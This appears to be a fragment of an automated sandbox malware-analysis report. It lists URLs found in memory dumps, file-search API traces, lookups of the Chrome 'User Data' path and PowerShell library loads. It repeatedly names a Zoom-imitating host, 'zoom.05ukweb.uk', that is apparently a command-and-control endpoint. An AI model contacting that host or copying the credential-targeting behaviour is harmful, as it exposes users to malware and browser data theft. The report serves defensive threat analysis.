"http://www.symauth.com/cps0(http://www.symauth.com/rpa0)symantecpki-1-53403130x" - Source: "00000000-00005276.00000001.257334.E8880000.00000004.mdmp") Found URL "https://www.verisign.com/cps04*0(0&" - Source: "00000000-00005276.00000001.257334.E8880000.00000004.mdmp") Found URL "http://crl.verisign.com/pca3.crl0internet1verisign," - Source: "00000000-00005276.00000001.257334.E8880000.00000004.mdmp") Found URL "http://crl.verisign.com/pca3.crl0vs" - Source: "00000000-00005276.00000001.257334.E8880000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/docs/repository.htmid]2u'b=" - Source: "00000000-00005276.00000001.257334.E8880000.00000004.mdmp") Found URL "http://logo.verisign.com/vslogo.gif0\:oj?!m5c3geotrust" - Source: "00000000-00005276.00000001.257334.E8880000.00000004.mdmp") Found URL "http://logo.verisign.com/vslogo.gif03130$j0_b>mnhttp://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt07ya'4iy()>@6t+a6" - Source: "00000000-00005276.00000001.257334.E8880000.00000004.mdmp") Found URL "http://www.microsoft.com0'6*l1.3.6.1.4.1.311.10.1250905032048z0/^g(o-cejy" - Source: "00000000-00005276.00000001.257334.E8880000.00000004.mdmp") Found URL "https://zoom.05ukweb.uk/ft?topic=v255&session=798383871&isbn=46017879689mozilla/4.0" - Source: "00000000-00005276.00000001.257334.E8880000.00000004.mdmp") Found URL "http://www.microsoft.com/pki/crl/products/miccertrulispca_2009-04-02.crlhhttp://crl.microsoft.com/pki/crl/products/miccertrulispca_2009-04-02.crl0]q0o0mahttp://www.microsoft.com/pki/certs/miccertrulispca_2009-04-02.crt0+" - Source: "00000000-00005276.00000001.257334.E8880000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microsoftrootcert.crl0th0f0d8http://www.microsoft.com/pki/certs/microsoftrootcert.crt0!:ctxcg" - Source: "00000000-00005276.00000001.257334.E8880000.00000004.mdmp") Found URL "http://microsoft.com0k" - Source: "00000000-00005276.00000001.257334.E8880000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/miccerlisca2011_2011-03-29.crl0]q0o0mahttp://www.microsoft.com/pki/certs/miccerlisca2011_2011-03-29.crt0t<" - Source: "00000000-00005276.00000001.257334.E8880000.00000004.mdmp") Found URL "http://microsoft.com0" - Source: "00000000-00005276.00000001.257334.E8880000.00000004.mdmp") Found URL "https://zoom.05ukweb.uk/ftbemclassobject" - Source: "00000000-00005276.00000002.259252.E4C10000.00000004.mdmp") Found URL "https://zoom.05ukweb.uk/ft?topic=v255&session=798383871&isbn=4504716clsid\" - Source: "00000000-00005276.00000002.259252.E4C10000.00000004.mdmp") Found URL "https://zoom.05ukweb.uk/ft?topic=v255&session=7983838715ukweb.uk/ft" - Source: "00000000-00005276.00000002.259252.E4C10000.00000004.mdmp") Found URL "http://www.microsoft.com0'6*lmicros" - Source: "00000000-00005276.00000002.259252.E4C10000.00000004.mdmp") Found URL "https://zoom.05ukweb.uk/ft?topic=v255&session=798383871&isbn=4504716/c:\windowssystem32eo\f/c:\windowssystem32eo\f@6og^root" - Source: "00000000-00005276.00000002.259252.E4C10000.00000004.mdmp") Found URL "http://ocsp.digicert.com0kd0b0@:http://crl3.digicert.com/digicerthighassuranceevrootca.crl0=604020*0(https://www.digicert.com/cps0bt" - Source: "00000000-00005276.00000002.259252.E4C10000.00000004.mdmp") Found URL "https://zoom.05ukweb.uk/ft?topic=v255&session=798383871&isbn=4705246" - Source: "00000000-00005276.00000002.259252.E4F20000.00000004.mdmp") Found URL "https://zoom.05ukweb.uk/ft?topic=v255&session=798383871&isbn=4808340" - Source: "00000000-00005276.00000002.259252.E4F20000.00000004.mdmp") Found URL "https://zoom.05ukweb.uk/ft?topic=v255&session=798383871&isbn=4796234" - Source: "00000000-00005276.00000002.259252.E4F20000.00000004.mdmp") Found URL "https://zoom.05ukweb.uk/ft?topic=v255&session=798383871&isbn=4808340ions:\vxstel.au3" - Source: "00000000-00005276.00000002.259252.E8880000.00000004.mdmp") Found URL "https://zoom.05ukweb.uk/ft?topic=v255&session=798383871&isbn=4747832https://zoom.05ukweb.uk/ft?topic=v255&session=798383871&isbn=4735742sha256microsoft" - Source: "00000000-00005276.00000002.259252.E8880000.00000004.mdmp") Found URL "https://zoom.05ukweb.uk/ft?topic=v255&session=798383871&isbn=4796234https://zoom.05ukweb.uk/ft?topic=v255&session=798383871&isbn=4808340sha1microsoft" - Source: "00000000-00005276.00000002.259252.E8880000.00000004.mdmp") Found URL "http://crl.comodoca.com/comodorsacertificationauthority.crl0qe0c0;/http://crt.comodoca.com/comodorsaaddtrustca.crt0$http://ocsp.comodoca.com0z" - Source: "00000000-00005276.00000002.259252.E8880000.00000004.mdmp") Found URL "http://crl.usertrust.com/usertrustrsacertificationauthority.crl0vj0h0?3http://crt.usertrust.com/usertrustrsaaddtrustca.crt0%http://ocsp.usertrust.com0e:5%6$" - Source: "00000000-00005276.00000002.259252.E8880000.00000004.mdmp") Found URL "http://certs.godaddy.com/repository/1301*go" - Source: "00000000-00005276.00000002.259252.E8880000.00000004.mdmp") Found URL "http://ocsp.godaddy.com/05.0,0*$http://crl.godaddy.com/gdroot-g2.crl0f?0=0;0301%https://certs.godaddy.com/repository/0jcs1" - Source: "00000000-00005276.00000002.259252.E8880000.00000004.mdmp") Found URL "http://crl.comodoca.com/comodorsacertificationauthority.crl0qe0c0;/http://crt.comodoca.com/comodorsaaddtrustca.crt0$http://ocsp.comodoca.com0n+vok4" - Source: "00000000-00005276.00000002.259252.E8880000.00000004.mdmp") Found URL "https://www.alphassl.com/repository/03,0*0(" - Source: "00000000-00005276.00000002.259252.E8880000.00000004.mdmp") Found URL "http://crl.globalsign.net/root.crl0=10/0-!http://ocsp.globalsign.com/rootr10%cx.g/8" - Source: "00000000-00005276.00000002.259252.E8880000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut2011_2011_03_22.crl0^r0p0nbhttp://www.microsoft.com/pki/certs/microoceraut2011_2011_03_22.crt0vs" - Source: "00000000-00005276.00000002.259252.E8880000.00000004.mdmp") Found URL "http://crl.usertrust.com/usertrustrsacertificationauthority.crl0vj0h0?3http://crt.usertrust.com/usertrustrsaaddtrustca.crt0%http://ocsp.usertrust.com0.9iqmgvw,czcthawte," - Source: "00000000-00005276.00000002.259252.E8880000.00000004.mdmp") Found URL "http://ocsp.thawte.com0:080660(0&https://www.thawte.com/cps0700.0,&http://crl.thawte.com/thawtepca-g3.crl0verisignmpki-2-4150w!$?eglobalsign" - Source: "00000000-00005276.00000002.259252.E8880000.00000004.mdmp") Found URL "https://www.globalsign.com/repository/03,0*0(" - Source: "00000000-00005276.00000002.259252.E8880000.00000004.mdmp") Found URL "http://crl.globalsign.net/root.crl0=10/0-!http://ocsp.globalsign.com/rootr10b@dd*v" - Source: "00000000-00005276.00000002.259252.E8880000.00000004.mdmp") Found URL "http://ocsp.digicert.com0kd0b0@:http://crl4.digicert.com/digicerthighassuranceevrootca.crl0=604020*0(https://www.digicert.com/cps0yr;0" - Source: "00000000-00005276.00000002.259252.E8880000.00000004.mdmp") Found URL "http://g2.symcb.com0le0c0a60301%http://www.geotrust.com/resources/cps0)symantecpki-1-5690xv" - Source: "00000000-00005276.00000002.259252.E8880000.00000004.mdmp") Found URL "http://s2.symcb.com0^0\0z0r0&http://www.symauth.com/cps0(http://www.symauth.com/rpa00)0'0%http://s1.symcb.com/pca3-g5.crl0symantecpki-1-53303130f$eogtt3;addtrust" - Source: "00000000-00005276.00000002.259252.E8880000.00000004.mdmp") Found URL "http://crl.usertrust.com/addtrustexternalcaroot.crl05)0'0%http://ocsp.usertrust.com0ql" - Source: "00000000-00005276.00000002.259252.E8880000.00000004.mdmp") Found URL "http://s1.symcb.com/pca3-g5.crl0" - Source: "00000000-00005276.00000002.259252.E8880000.00000004.mdmp") Found URL "http://s2.symcb.com0kd0b0" - Source: "00000000-00005276.00000002.259252.E8880000.00000004.mdmp") Found URL "http://www.symauth.com/cps0(http://www.symauth.com/rpa0)symantecpki-1-53403130x" - Source: "00000000-00005276.00000002.259252.E8880000.00000004.mdmp") Found URL "https://www.verisign.com/cps04*0(0&" - Source: "00000000-00005276.00000002.259252.E8880000.00000004.mdmp") Found URL "http://crl.verisign.com/pca3.crl0internet1verisign," - Source: "00000000-00005276.00000002.259252.E8880000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/docs/repository.htmid]2u'b=" - Source: "00000000-00005276.00000002.259252.E8880000.00000004.mdmp") Found URL "http://logo.verisign.com/vslogo.gif0\:oj?!m5c3geotrust" - Source: "00000000-00005276.00000002.259252.E8880000.00000004.mdmp") Found URL "http://logo.verisign.com/vslogo.gif03130$j0_b>mnhttp://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt07ya'4iy()>@6t+a6" - Source: "00000000-00005276.00000002.259252.E8880000.00000004.mdmp") Found URL "http://www.microsoft.com0'6*l1.3.6.1.4.1.311.10.1250905032048z0/^g(o-cejy" - Source: "00000000-00005276.00000002.259252.E8880000.00000004.mdmp") Found URL "https://zoom.05ukweb.uk/ft?topic=v255&session=798383871&isbn=4808340!1.3.6.1.4.1.311.10.3.33mozilla/4.0" - Source: "00000000-00005276.00000002.259252.E8880000.00000004.mdmp") Found URL "https://zoom.05ukweb.uk/ft?topic=v255&session=798383871&isbn=4808340mozilla/4.0" - Source: "00000000-00005276.00000002.259252.E8880000.00000004.mdmp") Found URL "http://www.microsoft.com/pki/crl/products/miccertrulispca_2009-04-02.crlhhttp://crl.microsoft.com/pki/crl/products/miccertrulispca_2009-04-02.crl0]q0o0mahttp://www.microsoft.com/pki/certs/miccertrulispca_2009-04-02.crt0+" - Source: "00000000-00005276.00000002.259252.E8880000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microsoftrootcert.crl0th0f0d8http://www.microsoft.com/pki/certs/microsoftrootcert.crt0!:ctxcg" - Source: "00000000-00005276.00000002.259252.E8880000.00000004.mdmp") Found URL "http://microsoft.com0k" - Source: "00000000-00005276.00000002.259252.E8880000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/miccerlisca2011_2011-03-29.crl0]q0o0mahttp://www.microsoft.com/pki/certs/miccerlisca2011_2011-03-29.crt0t<" - Source: "00000000-00005276.00000002.259252.E8880000.00000004.mdmp") Found URL "http://microsoft.com0" - Source: "00000000-00005276.00000002.259252.E8880000.00000004.mdmp") Found URL "https://zoom.05ukweb.uk/zoom.05ukweb.uk\registry\machine\software\classes\wow6432node\clsid\" - Source: "00000000-00005276.00000002.259252.E8AC0000.00000004.mdmp")4d:T12f2,Found reference to API "FindFirstFileW" (Indicator: "FindFirstFile"; Source: "00000000-00003076.00000001.257334.4ED25000.00000002.mdmp") Found reference to API "FindFirstFileA" (Indicator: "FindFirstFile"; Source: "00000000-00003076.00000001.257334.4ED25000.00000002.mdmp") Found reference to API "82964956346,1452,3118,,FindFirstFileW,kernel32.dll,"01:07:00.734",RX=0,PX=0" (Indicator: "FindFirstFile"; Source: "00000000-00003076.00000001.257334.79F30000.00000004.mdmp") Found reference to API "82966016000,1452,3118,,FindFirstFileW,kernel32.dll,"01:07:00.734",RX=0,PX=0" (Indicator: "FindFirstFile"; Source: "00000000-00003076.00000001.257334.79F30000.00000004.mdmp") Found reference to API "82970267506,1452,3118,,FindFirstFileW,kernel32.dll,"01:07:00.734",RX=0,PX=0" (Indicator: "FindFirstFile"; Source: "00000000-00003076.00000001.257334.79F30000.00000004.mdmp") Found reference to API "82973479490,1452,3120,,FindNextFileW,kernel32.dll,"01:07:00.734",RX=0,PX=0" (Indicator: "FindNextFile"; Source: "00000000-00003076.00000001.257334.79F30000.00000004.mdmp") Found reference to API "82968129952,1452,3120,,FindNextFileW,kernel32.dll,"01:07:00.734",RX=0,PX=0" (Indicator: "FindNextFile"; Source: "00000000-00003076.00000001.257334.79F30000.00000004.mdmp") Found reference to API "82967701812,1452,3118,,FindFirstFileW,kernel32.dll,"01:07:00.734",RX=0,PX=0" (Indicator: "FindFirstFile"; Source: "00000000-00003076.00000001.257334.79F30000.00000004.mdmp") Found reference to API "82971834754,1452,3118,,FindFirstFileW,kernel32.dll,"01:07:00.734",RX=0,PX=0" (Indicator: "FindFirstFile"; Source: "00000000-00003076.00000001.257334.79F30000.00000004.mdmp") Found reference to API "82971301838,1452,3118,,FindFirstFileW,kernel32.dll,"01:07:00.734",RX=0,PX=0" (Indicator: "FindFirstFile"; Source: "00000000-00003076.00000001.257334.79F30000.00000004.mdmp") Found reference to API "82951517981,1452,3120,,FindNextFileW,kernel32.dll,"01:07:00.734",RX=0,PX=0" (Indicator: "FindNextFile"; Source: "00000000-00003076.00000001.257334.79F30000.00000004.mdmp") Found reference to API "82970791698,1452,3118,,FindFirstFileW,kernel32.dll,"01:07:00.734",RX=0,PX=0" (Indicator: "FindFirstFile"; Source: "00000000-00003076.00000001.257334.79F30000.00000004.mdmp") Found reference to API "82973010790,1452,3118,,FindFirstFileW,kernel32.dll,"01:07:00.734",RX=0,PX=0" (Indicator: "FindFirstFile"; Source: "00000000-00003076.00000001.257334.79F30000.00000004.mdmp") Found reference to API "82969367104,1452,3118,,FindFirstFileW,kernel32.dll,"01:07:00.734",RX=0,PX=0" (Indicator: "FindFirstFile"; Source: "00000000-00003076.00000001.257334.79F30000.00000004.mdmp") Found reference to API "153162852870,1452,3120,,FindNextFileW,kernel32.dll,"01:07:29.984",RX=0,PX=0" (Indicator: "FindNextFile"; Source: "00000000-00003076.00000002.259256.79F30000.00000004.mdmp") Found reference to API "153161275560,1452,3118,,FindFirstFileW,kernel32.dll,"01:07:29.984",RX=0,PX=0" (Indicator: "FindFirstFile"; Source: "00000000-00003076.00000002.259256.79F30000.00000004.mdmp") Found reference to API "153149043089,1452,3118,,FindFirstFileW,kernel32.dll,"01:07:29.984",RX=0,PX=0" (Indicator: "FindFirstFile"; Source: "00000000-00003076.00000002.259256.79F30000.00000004.mdmp") Found reference to API "153157596441,1452,3120,,FindNextFileW,kernel32.dll,"01:07:29.984",RX=0,PX=0" (Indicator: "FindNextFile"; Source: "00000000-00003076.00000002.259256.79F30000.00000004.mdmp") Found reference to API "153162403594,1452,3118,,FindFirstFileW,kernel32.dll,"01:07:29.984",RX=0,PX=0" (Indicator: "FindFirstFile"; Source: "00000000-00003076.00000002.259256.79F30000.00000004.mdmp") Found reference to API "153160760324,1452,3118,,FindFirstFileW,kernel32.dll,"01:07:29.984",RX=0,PX=0" (Indicator: "FindFirstFile"; Source: "00000000-00003076.00000002.259256.79F30000.00000004.mdmp") Found reference to API "153161818518,1452,3118,,FindFirstFileW,kernel32.dll,"01:07:29.984",RX=0,PX=0" (Indicator: "FindFirstFile"; Source: "00000000-00003076.00000002.259256.79F30000.00000004.mdmp") Found reference to API "153160259246,1452,3118,,FindFirstFileW,kernel32.dll,"01:07:29.984",RX=0,PX=0" (Indicator: "FindFirstFile"; Source: "00000000-00003076.00000002.259256.79F30000.00000004.mdmp") Found reference to API "153151448297,1452,3120,,FindNextFileW,kernel32.dll,"01:07:29.984",RX=0,PX=0" (Indicator: "FindNextFile"; Source: "00000000-00003076.00000002.259256.79F30000.00000004.mdmp") Found reference to API "153157221503,1452,3118,,FindFirstFileW,kernel32.dll,"01:07:29.984",RX=0,PX=0" (Indicator: "FindFirstFile"; Source: "00000000-00003076.00000002.259256.79F30000.00000004.mdmp") Found reference to API "153154163119,1452,3118,,FindFirstFileW,kernel32.dll,"01:07:29.984",RX=0,PX=0" (Indicator: "FindFirstFile"; Source: "00000000-00003076.00000002.259256.79F30000.00000004.mdmp")4e:T5f1,Found system information discovery API: "RtlNtStatusToDosError" in "00000000-00003076.00000000.255416.0B942000.00000002.mdmp" Found system information discovery API: "basePath = shell.ExpandEnvironmentStrings( _" in "00000000-00003076.00000000.255416.762F0000.00000004.mdmp, 00000000-00003076.00000001.257334.762F0000.00000004.mdmp, 00000000-00003076.00000002.259256.762F0000.00000004.mdmp" Found system information discovery API: "IWshShell3.ExpandEnvironmentStrings("%LOCALAPPDATA%\Google\Chrome\User Data\");" in "00000000-00003076.00000001.257334.76280000.00000004.mdmp, 00000000-00003076.00000002.259256.76280000.00000004.mdmp" Found system information discovery API: "CExpandEnvironmentStrings" in "00000000-00003076.00000001.257334.762F0000.00000004.mdmp, 00000000-00003076.00000002.259256.762F0000.00000004.mdmp" Found system information discovery API: "basePath = shell.ExpandEnvironmentStrings( _" in "00000000-00005276.00000000.255414.E4C10000.00000004.mdmp, 00000000-00005276.00000001.257334.E4C10000.00000004.mdmp, 00000000-00005276.00000002.259252.E4C10000.00000004.mdmp" Found system information discovery API: "CExpandEnvironmentStrings" in "00000000-00005276.00000001.257334.E4C10000.00000004.mdmp, 00000000-00005276.00000002.259252.E4C10000.00000004.mdmp" Found system information discovery API: "IWshShell3.ExpandEnvironmentStrings("%LOCALAPPDATA%\Google\Chrome\User Data\");" in "00000000-00005276.00000001.257334.E4F20000.00000004.mdmp, 00000000-00005276.00000002.259252.E4F20000.00000004.mdmp"4f:T4525,"powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00006036) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00006036) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00006036) "powershell.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00006036) "powershell.exe" called "LoadLibrary" with a parameter ADVAPI32.dll (UID: 00000000-00006036) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscoreei.dll (UID: 00000000-00006036) "powershell.exe" called "LoadLibrary" with a parameter SHLWAPI.dll (UID: 00000000-00006036) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-appmodel-runtime-l1-1-2.dll (UID: 00000000-00006036) "powershell.exe" called "LoadLibrary" with a parameter VERSION.dll (UID: 00000000-00006036) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\clr.dll (UID: 00000000-00006036) "powershell.exe" called "LoadLibrary" with a parameter USER32.dll (UID: 00000000-00006036) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-quirks-l1-1-0.dll (UID: 00000000-00006036) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscoree.dll (UID: 00000000-00006036) "powershell.exe" called "LoadLibrary" with a parameter mscoree.dll (UID: 00000000-00006036) "powershell.exe" called "LoadLibrary" with a parameter ntdll (UID: 00000000-00006036) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\combase.dll (UID: 00000000-00006036) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\mscorlib\fe2524177eb3088c77be666722039f52\mscorlib.ni.dll (UID: 00000000-00006036) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\ole32.dll (UID: 00000000-00006036) "powershell.exe" called "LoadLibrary" with a parameter ole32.dll (UID: 00000000-00006036) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-l1-1-0.dll (UID: 00000000-00006036) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-winrt-l1-1-0.dll (UID: 00000000-00006036) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\oleaut32.dll (UID: 00000000-00006036) "powershell.exe" called "LoadLibrary" with a parameter oleaut32.dll (UID: 00000000-00006036) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System\e43dd9c73ab5615e461bf5109c3facd6\System.ni.dll (UID: 00000000-00006036) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Core\0d59b0e237d7519417de10cd84bda4e7\System.Core.ni.dll (UID: 00000000-00006036) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\Microsoft.Pb378ec07#\b5ba37e1558ced178a99011a1d659b52\Microsoft.PowerShell.ConsoleH (UID: 00000000-00006036) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\OLEAUT32.dll (UID: 00000000-00006036) "powershell.exe" called "LoadLibrary" with a parameter OLEAUT32.dll (UID: 00000000-00006036) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\6da01910c256231d1c50ad0aacee5941\System.Management.Automation. (UID: 00000000-00006036) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\combase.dll (UID: 00000000-00006036) "powershell.exe" called "LoadLibrary" with a parameter combase.dll (UID: 00000000-00006036) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-winrt-string-l1-1-0.dll (UID: 00000000-00006036) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-string-l1-1-0.dll (UID: 00000000-00006036) "powershell.exe" called "LoadLibrary" with a parameter advapi32.dll (UID: 00000000-00006036) "powershell.exe" called "LoadLibrary" with a parameter ntdll.dll (UID: 00000000-00006036) "powershell.exe" called "LoadLibrary" with a parameter kernel32.dll (UID: 00000000-00006036) "powershell.exe" called "LoadLibrary" with a parameter version.dll (UID: 00000000-00006036) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\shell32.dll (UID: 00000000-00006036) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\psapi.dll (UID: 00000000-00006036) "powershell.exe" called "LoadLibrary" with a parameter psapi.dll (UID: 00000000-00006036) "powershell.exe" called "LoadLibrary" with a parameter user32.dll (UID: 00000000-00006036) "powershell.exe" called "LoadLibrary" with a parameter shell32.dll (UID: 00000000-00006036) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\ntdll.dll (UID: 00000000-00006036) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\wintrust.dll (UID: 00000000-00006036) "powershell.exe" called "LoadLibrary" with a parameter wintrust.dll (UID: 00000000-00006036) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\en-US\mscorrc.dll (UID: 00000000-00006036) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\en\mscorrc.dll (UID: 00000000-00006036) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll (UID: 00000000-00006036) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\amsi.dll (UID: 00000000-00006036) "powershell.exe" called "LoadLibrary" with a parameter amsi.dll (UID: 00000000-00006036) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\version.dll (UID: 00000000-00006036) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\en-US\tzres.dll.mui (UID: 00000000-00006036) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\crypt32.dll (UID: 00000000-00006036) "powershell.exe" called "LoadLibrary" with a parameter crypt32.dll (UID: 00000000-00006036) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\Microsoft.Mf49f6405#\7b1f35fb0c2d6955ce5af2bd372c65f2\Microsoft.Management.Infrastr (UID: 00000000-00006036) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\CRYPT32.dll (UID: 00000000-00006036) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Data\7bed49c46de9295a8453db205c60a028\System.Data.ni.dll (UID: 00000000-00006036) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Management\b221af81285c1305324612e6dc9c88ff\System.Management.ni.dll (UID: 00000000-00006036) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Dired13b18a9#\8ad4c0af5b3d51a0f3a4dac0d44d85d4\System.DirectoryServices.ni.d (UID: 00000000-00006036) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll (UID: 00000000-00006036) "powershell.exe" called "LoadLibrary" with a parameter CRYPT32.dll (UID: 00000000-00006036) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Xml\5ee35debfc22f727e70e4479ddcbc045\System.Xml.ni.dll (UID: 00000000-00006036) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Numerics\86cfd69ce1261baf4740e7606cade014\System.Numerics.ni.dll (UID: 00000000-00006036) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-xstate-l2-1-0.dll (UID: 00000000-00006036) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\clrjit.dll (UID: 00000000-00006036) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\Microsoft.P6f792626#\7ff5199e757cb8af9ad949453f698d09\Microsoft.PowerShell.Security (UID: 00000000-00006036) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Transactions\604272b0faec2e09d53d38e03bc89c6c\System.Transactions.ni.dll (UID: 00000000-00006036) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Configuration\4beb1eeca20b27d4bd1bb9880f03cc2a\System.Configuration.ni.dll (UID: 00000000-00006036) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll (UID: 00000000-00006036) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\secur32.dll (UID: 00000000-00006036) "powershell.exe" called "LoadLibrary" with a parameter secur32.dll (UID: 00000000-00006036) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\shlwapi.dll (UID: 00000000-00006036) "powershell.exe" called "LoadLibrary" with a parameter shlwapi.dll (UID: 00000000-00006036) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\wldp.dll (UID: 00000000-00006036) "powershell.exe" called "LoadLibrary" with a parameter wldp.dll (UID: 00000000-00006036) "powershell.exe" called "LoadLibrary" with a parameter %ALLUSERSPROFILE%\Microsoft\Windows Defender\platform\4.12.17007.18022-0\MPCLIENT.DLL (UID: 00000000-00006036) "powershell.exe" called "LoadLibrary" with a parameter %ALLUSERSPROFILE%\Microsoft\Windows Defender\platform\4.12.17007.18022-0\MsMpLics.dll (UID: 00000000-00006036) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\kernel32.dll (UID: 00000000-00006036) "powershell.exe" called "LoadLibrary" with a parameter USERENV.dll (UID: 00000000-00006036) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\advapi32.dll (UID: 00000000-00006036) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-roparameterizediid-l1-1-0.dll (UID: 00000000-00006036) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-winrt-roparameterizediid-l1-1-0.dll (UID: 00000000-00006036) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\Microsoft.P521220ea#\df7d947a99cbcfaa726b127726f05476\Microsoft.PowerShell.Commands (UID: 00000000-00006036) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Confe64a9051#\120a0532577f871c2415502d9edacdd6\System.Configuration.Install. (UID: 00000000-00006036) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\iphlpapi.dll (UID: 00000000-00006036) "powershell.exe" called "LoadLibrary" with a parameter iphlpapi.dll (UID: 00000000-00006036) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\bcrypt.dll (UID: 00000000-00006036) "powershell.exe" called "LoadLibrary" with a parameter bcrypt.dll (UID: 